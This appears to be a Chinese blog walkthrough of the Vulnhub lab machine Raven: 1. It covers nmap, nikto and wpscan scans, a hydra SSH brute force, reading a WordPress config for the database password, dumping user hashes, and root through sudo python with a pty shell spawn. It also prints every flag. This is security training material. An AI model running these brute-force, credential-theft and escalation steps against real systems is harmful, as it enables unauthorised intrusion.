Vulnhub靶机渗透之 RAVEN: 1

目录

Description

网卡信息

信息收集

主机发现

主机存活扫描

端口扫描

网站信息

网站首页

nikto 报告

service 页面

wordpress

渗透过程

SSH 爆破

Hydr 命令

进一步信息收集

查找包含Flag 的路径

数据库信息

查看数据库配置文件

登入数据库

查找用户

steven 登入网站后台

权限提升

切换steven 用户

查看sudo 权限

python 命令提权


靶机下载地址:https://www.vulnhub.com/entry/raven-1,256/

Description

Raven is a Beginner/Intermediate boot2root machine. There are four flags to find and two intended ways of getting root. Built with VMware and tested on Virtual Box. Set up to use NAT networking.

网卡信息

网卡信息说明
网卡模式NAT
MAC 地址00:0C:29:D7:3D:BA

信息收集

主机发现

主机存活扫描

NAT模式下启动kali,使用ssh远程连接到物理机windows10(方便一点)
nmap -sP 192.168.30.0/24,得知靶机ip地址为192.168.30.145

 

端口扫描

nmap -A -p- -sC -T4 -sS -P0 192.168.30.145 -oN nmap.A
(nmap默认会扫描使用频率最高的top1000端口,-p-就是扫描1-65535端口,nmap可以做漏洞扫描-sC,设置扫描速度-T4,nmap扫描速度有5档T1~T5,T1最慢,T4最快,-sS做SYN半连接扫描,nmap对目标进行扫描的时候一共有两步,第一步是确定主机是否在线,第二步再进行端口扫描,-P0是禁用nmap来判断主机是否在线,直接进行强扫,直接就发包)

发现开放了80端口和22端口以及111,53161端口

网站信息

因为其开放80 端口,我们访问其网页
在我们访问800端口的时候,网速很慢,此时就会产生疑问:我访问本地的靶机问什么速度会这么慢?因为前端页面需要去外网加载脚本。
那怎么看这个脚本呢?我们可以打开F12--网络,会发现一些网站没有返回值,所以会很慢

 这个问题解决不了,以为他会去外网去访问一些资源,这些资源由于国内访问不到,就会很慢

下面对网站进行指纹识别 ,用kali的whatweb

whatweb 是kali中网站指纹识别的工具,使用Ruby语言开发。whatweb可识别web技术,包括内容管理系统(CMS)、博客平台、统计/分析包、JavaScript库,Web服务器和嵌入式设备等

没发现什么

网站首页

http://raven.local/

 

nikto 报告

Nikto安装及使用

Nikto 是一款开放源代码的、功能强大的WEB扫描评估软件,能对web服务器多种安全项目进行测试的扫描软件,去寻找已知有名的漏洞,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题,它可以扫描指定主机的WEB类型、主机名、特定目录、COOKIE、特定CGI漏洞、返回主机允许的 http模式等等。它也使用LibWhiske库,但通常比Whisker更新的更为频繁。Nikto是网管安全人员必备的WEB审计工具之一。

1. 快速入门

进行最基本的nikto扫描,你只需要指定目标的host(通过 -h 参数指定),也可以指定要扫描的端口号(通过 -p 来指定),默认是80

perl nikto.pl -h 192.168.0.1

2 多端口扫描

#扫描80,88,443三个端口

perl nikto.pl -h 192.168.0.1 -p 80,88,443

#扫描80~90共10个端口

perl nikto.pl -h 192.168.0.1 -p 80-90

┌──(root💀mi)-[~/tools/nikto/program]
└─# ./nikto.pl -h http://raven.local
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:         192.168.30.145
+ Target Hostname:   raven.local
+ Target Port:       80
+ Start Time:         2021-07-30 20:47:32 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.43). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: 41b3, size: 5734482bdcb00, mtime: gzip
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting.
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wordpress/wp-login.php: Wordpress login found
+ 7954 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time:           2021-06-14 11:28:39 (GMT8) (67 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

看一下wordpress这个目录和/wordpress/wp-login.php:

 

 

service 页面

http://raven.local/service.html(我们是在/team.html,/service.html,/contact.php等一个一个试出来的)

右键查看源代码,ctrl+F搜索flag关键字

<!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->

wordpress

http://raven.local/wordpress/

用WordPress专门的扫描工具wpscan
命令: wpscan --url http://192.168.30.145/wordpress/ -e vp,u
参数:-e就是枚举    vp,u就是vulnerable plug,user就是含有漏洞的组件还有用户

 知道两个用户分别是steven和michael

由于知道用户,又在nikto报告中知道登录页面在/wordpress/wp-login.php
我们差的就是密码了,我们可以做爆破(先不考虑爆破)

看看能不能通过用户登录ssh:

 

说明Steven和Michael用户都可以登录ssh

乱写一个用户发现也可以登录:

 

 

渗透过程

SSH 爆破

Hydr 命令

建立一个user.dic里面写用户

hydra -L user.dic -P ~/tools/wordList/top_password.txt ssh://10.10.10.42 -vV -f -e nsr -o hydra.ssh

-f是碰到遇到正确密码就停止爆破,-vV显示详细信息
-e nsr 空口令,账号密码相同,密码反向都用上

发现  login:michael                password:michael

ssh登录:

进一步信息收集

查找包含Flag 的路径

$ find / -name "*flag*" 2>/dev/null(找到了一些含有flag的文件)

看到一个/var/www/flag2.txt

cat /var/www/flag2.txt:

michael@Raven:/$ cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

 找到flag2

 

下面查看一下靶机开放的哪些端口号

尝试登陆数据库:mysql -uroot -p,要求输入密码

 我们知道这个网站是带数据库的,数据库密码肯定在网站的配置文件中

到/var/www/html下看看

WordPress作为一款开源的CMS配置文件的路径是固定的,是wp-config.php

数据库信息

查看数据库配置文件

cat /var/www/html/wordpress/wp-config.php

 

登入数据库

找到root的用户名密码,登陆数据库:

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

查找用户

select user_login,user_pass from wordpress.wp_users;

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| ID | user_login | user_pass                          | user_nicename | user_email        | user_url | user_registered     | user_activation_key | user_status | display_name   |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
|  1 | michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael       | michael@raven.org |          | 2018-08-12 22:49:12 |                     |           0 | michael        |
|  2 | steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven        | steven@raven.org  |          | 2018-08-12 23:31:16 |                     |           0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
2 rows in set (0.00 sec)

mysql> select user_login,user_pass from wordpress.wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |
| steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ |
+------------+------------------------------------+
2 rows in set (0.00 sec)

 

尝试查询md5 值

user_login

user_pass
stevenpink84

 

 

 

 

steven 登入网站后台

找到flag3,flag3{afc01ab56b50591e7dccf93122770cd2}

 

 

权限提升

切换steven 用户

su steven

查看sudo 权限

sudo -l

$ sudo -l
Matching Defaults entries for steven on raven:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
​
User steven may run the following commands on raven:
  (ALL) NOPASSWD: /usr/bin/python
$

steven可以用root身份,不需要提供root密码的情况下,去执行/usr/bin/python这个命令

sudo /usr/bin/python,这条命令敲下去之后,就可以以root身份去执行python命令,在执行期间,具有root用户权限
我们知道权限是具有传递性的!如果我们以root身份调用python命令,那么python就可以以root身份去调用bash,bash就具备了root权限

python 命令提权

sudo python -c 'import pty;pty.spawn("/bin/bash")'

$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@Raven:/home/michael# id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/home/michael#

 

发现flag4!拿到最后一个flag!

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Raven: 2是一台中级难度的boot2root虚拟机,目标是获取四个标志(flag)。Raven Security在多次遭受入侵后,采取了额外措施来加固他们的web服务器,以防止黑客入侵。你可以在Vulnhub上找到Raven: 2的ova文件,并使用VirtualBox打开。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vulnhub靶机raven2](https://blog.csdn.net/weixin_52450702/article/details/127811079)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vulnhub靶机——RAVEN: 2](https://blog.csdn.net/qq_44029310/article/details/126491848)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [Vulnhub靶机系列:Kioptrix: Level 1.2 (#3)](https://download.csdn.net/download/weixin_38717843/14052717)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值